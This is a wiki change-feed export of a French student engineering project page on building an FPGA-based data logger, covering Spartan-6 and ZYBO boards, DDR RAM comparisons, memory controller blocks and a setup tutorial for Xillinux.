*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6  et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto8.PNG|100px|thumb|right|o°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
m°)Il faut maintenant ajouter l'IP au design. Cliquer sur Open Block Design, puis click droit → Add IP et choisir myLed0. Relier comme sur l'image le I/O de l'IP en cliquant sur « run connection automation ».&amp;lt;br&amp;gt;&lt;br /&gt;
n°)Clique droit sur l'IP → create port, le nommer LED sur 4 bit et supprimer le précédent port. Relier le port de sortie à LED.&amp;lt;br&amp;gt;&lt;br /&gt;
o°)Dans les sources du Project manager, allez dans constraints, et ouvrir base.xdc et modifier comme sur l'image. &amp;lt;br&amp;gt;&lt;br /&gt;
p°) Dans le flow navigator, cliquer sur create bitstream.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Préparation et utilisation de la carte µSD=====&lt;br /&gt;
q°)Dans notre dossier de travail, nous avons 4 fichiers :&lt;br /&gt;
*boot.bin&lt;br /&gt;
*devicetree.dtb&lt;br /&gt;
*uImage&lt;br /&gt;
*le fichier *.bit que l'on vient de générer et que l'on renomme xillydemo.bit&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
r°)Monter la carte µSD dans le PC sous linux. Créer une partition de 36Mo en FAT16 et une partition qui prend tout le reste de la place en ext4. Personnellement après de nombreuse tentatives, je recommande GParted.&amp;lt;br&amp;gt;&lt;br /&gt;
s°)Copier les quatre fichiers sur la partition de 36Mo.&amp;lt;br&amp;gt;&lt;br /&gt;
t°)Éteindre la board avec le switch. Mettre le jumper de boot sur SD. Installer la carte SD dans le slot. Allumer la board.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vous pouvez maintenant brancher un câble HDMI ou VGA à la board pour y connecter un écran, ainsi qu'un clavier pour faire la configuration et l'installation de Ubuntu. Le nom d'utilisateur est root et le mot de passe est toor. Le mieux est de faire un apt-get update, puis un apt-get upgrade pour mettre à jour les paquets. Il est maintenant nécessaire d'installer les paquets pour ssh si ce n'est pas déjà fait. Il est aussi nécessaire d'installer python.&amp;lt;br&amp;gt;&lt;br /&gt;
=====Récupération des données des GPIOs=====&lt;br /&gt;
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir.&lt;br /&gt;
	On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.&lt;br /&gt;
	Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado :&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On voit que les offset des LED et des SWITCH correspondent.&lt;br /&gt;
	J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
J'ai pu mesurer la vitesse d'acquisition des données, celle ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent de récupérer directement les données qui sont dans la RAM à partir du linux embarqué. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR3&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Tuto9.PNG&amp;diff=27719</id>
		<title>Fichier:Tuto9.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Tuto9.PNG&amp;diff=27719"/>
				<updated>2016-02-23T19:22:12Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Tuto8.PNG&amp;diff=27718</id>
		<title>Fichier:Tuto8.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Tuto8.PNG&amp;diff=27718"/>
				<updated>2016-02-23T19:18:22Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27716</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27716"/>
				<updated>2016-02-23T19:16:47Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Récupération des données des GPIOs */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
